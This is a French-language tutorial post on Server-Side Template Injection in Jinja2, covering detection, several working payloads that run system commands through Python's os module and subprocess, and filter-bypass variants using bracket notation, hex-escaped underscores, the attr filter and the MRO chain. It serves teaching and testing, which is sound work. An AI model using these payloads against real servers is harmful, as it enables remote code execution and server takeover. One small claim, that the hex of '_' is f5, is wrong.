Comprendre la SSTI : Server-Side Template Injection

Table des matières

Introduction

Les vulnérabilités de type SSTI (Server-Side Template Injection) se produisent quand une saisie utilisateur n’est pas suffisamment contrôlée, et qu’elle est directement utilisée côté serveur dans la génération de la page web. Ce type de vulnérabilité peut aller jusqu’à permettre à un attaquant de prendre le contrôle total d’un serveur. Jinja est un template engine inspiré de la syntaxe du langage de programmation Python.

Les template engines sont utilisés pour générer des pages web côté serveur à partir d’éléments statiques et d’éléments dynamiques. Les pages ainsi générées sont ensuite transmises au client web.
Ci-dessous le code utilisé pour la démonstration :

Code de démonstration

Une version non vulnérable du code présenté ci-dessus pourrait se présenter ainsi :

Code non vulnérable

 

Détection

Concernant la détection des SSTI, la première étape consiste en le fuzzing des différents champs utilisateurs, pour essayer de déclencher une action côté serveur, ainsi qu’un comportement inattendu de l’application web. Enfin il est possible d’utiliser une string polyglotte du type : ${{<%[%'"}}%\ afin de déterminer si un champ est vulnérable ou non.

Si cela déclenche une action inattendue (string incomplète, crash, …), nous savons dans ce cas que le service web est vulnérable aux SSTI.

Afin d’identifier de manière plus précise quel template engine est utilisé, il est possible de s’aider de ce schéma : 

Détecter la vulnérabilité

 

Pour illustrer mes propos, j’utiliserai une application web relativement simple :

 

Simple POC

Dans notre cas pour l’exemple nous utiliserons le template engine Jinja2 donc pour exemple une saisie comme {{7*’7′}} nous donnera en résultat :

Simple POC

 

Exploitation

Il existe plusieurs payloads pour l’exploitation de ce type de faille. Un des plus simples se présente ainsi :

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

dans ce cas nous avons la possibilité d’importer la librairie os, et donc d’exécuter des commandes.

Le résultat de la commande ci-dessus est l’user id sous lequel le serveur web est exécuté.

Il existe encore 3 autres possibilités afin d’accéder à la librairie os. Celles-ci nous permettent d’accéder à la librairie os même dans le cas où l’application Python fonctionne avec des built-ins restreints :

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

Bypass de filtre

Les filtres sur certains caractères sont rarement efficaces, et comme nous allons le voir, il existe plusieurs moyens de bypass les filtres.

Dans le cas où le caractère ‘.’ n’est pas autorisé, il est toujours possible d’exécuter des commandes avec le type de payload suivant:

{{ self['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}

Dans le cas où le caractère ‘_’ n’est pas autorisé, il est à nouveau possible d’exécuter des commandes avec ce type de payload, il permet également donc de bypass le caractère ‘.’ :

{{ self['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}

Dans ce cas, plutôt que fournir directement le caractère ‘_’ nous lui fournissons la valeur hexadécimal du caractère ‘_’ qui est f5, et afin qu’il soit interprété nous écrirons \x5f.

Enfin, dans le cas où les caractères de type ‘[]’ et ‘.’ sont filtrés, il est possible d’utiliser le filtre attr de Jinja2 avec la fonction __getitem__ pour avoir un payload de ce type :

{{ self|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}

La fonction __getitem__ permet de récupérer une valeur à partir de son nom. Cela est un fonctionnement classique de type dictionnaire clé/valeur.

Par exemple :

{{ self.__init__.__globals__.__getitem__('__builtins__') }}

Permet de récupérer les builtins de Python et équivaudrait à :

{{ self.__init__.__globals__.__builtins__ }}

Enfin le filtre attr de Jinja2 permet de récupérer l’attribut d’un objet

Par exemple : {{ self|attr('__init__') }}

Equivaudrait à : self.__init__

Donc, le payload expliqué précédemment reviendrait, dans le principe, à faire : 

{{ self.__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('id').read() }}

Finalement, dans le cas où les caractères types ‘[]’ ‘_’ et ‘.’ sont filtrés, il est toujours possible de façonner un payload dans ce style :

{{ self|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

MRO

Le MRO (Method Resolution Order), en Python, est utilisé afin de déterminer l’ordre d’import des différentes classes, notamment dans les cas d’héritage multiple. Il représente également l’ordre dans lequel Python cherche une fonction dans les cas d’héritage multiple et résout les situations où une fonction se trouve dans plusieurs superclass. Il se base sur l’algorithme C3 linearization.

Il est donc aussi possible d’exploiter l’application à l’aide du MRO de Python.

Dans un premier temps, il suffit de lui fournir un payload tel que :

{{ ''.__class__.__mro__ }}

Le résultat obtenu est le suivant :

 MRO

 

Nous lui fournissons une string vide, donc une class de type « str », et de type « object »; tous les objets en Python sont hérités de la class « object ». Ainsi __mro__ permettant de remonter dans l’arborescence de class, nous pouvons donc remonter sur le type d’objet « object ».

Il faut savoir que __mro__ se comporte comme un tuple classique, il est donc possible d’accéder aux différents éléments qui le composent à l’aide d’un indice comme par exemple :

{{''.__class__.__mro__[1]  }} permettra d’accéder à la class « object ».

Ce payload : {{''.__class__.__mro__[1].__subclasses__() permet d’accéder aux subclass de la class object. Une subclass n’est rien de plus qu’une class dérivée de la class parent. En Python, chaque class contient une liste de références vers ses class dérivées directe.

MRO

 

A partir de là, il est possible d’appeler subprocess.Popen() et d’exécuter encore une fois des commandes système sur le serveur. Pour cela il suffit de lui donner l’indice (216 dans notre environnement de test), et enfin, de passer les arguments comme à une fonction classique.

Nous nous retrouvons alors avec un payload dans ce type :

{{''.__class__.__mro__[1].__subclasses__()[216]('id', shell=True, stdout=-1).communicate() }}

Pour résultat :

MRO

 

Conclusion

Ce type de vulnérabilité est comparable à toutes les vulnérabilités de type injection, à la différence qu’elle intervient directement côté serveur. Elle se présente quand la saisie utilisateur est directement utilisée par le template engine pour la génération de la page web. Cela peut aller de l’exfiltration de données, jusqu’à la compromission complète d’un serveur.

 

Bibliographie

CARLOS POLOP. SSTI (Server Side Template Injection). In : HackTricks [en ligne]. Disponible sur :  https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection : consulté le (29/10/2021)

GUS RALPH. Server Side Template Injection With Jinja2. In : Onsecurity [en ligne]. Disponible sur : https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/ : consulté le (29/10/2021)

JAMES KETTLE. Server-Side Template Injection. In: PortSwigger [en ligne]. Disponible sur : https://portswigger.net/research/server-side-template-injection : consulté le (29/10/2021)

PHOSPHORE. Cheatsheet – Flask & Jinja2 SSTI. In : P=NP [en ligne]. Disponible sur : https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti : consulté le (29/10/2021)

PODALIRIUS.  Python vulnerabilities : Code execution in jinja templates. In : Podalirius [en ligne]. Disponible sur :  https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/ : consulté le (29/10/2021)

RICK M. WSTG – v4.1. In: OWASP [en ligne]. Disponible sur : https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection : consulté le (29/10/2021)

 

Image de Maladra

Maladra

Apprenti chercheur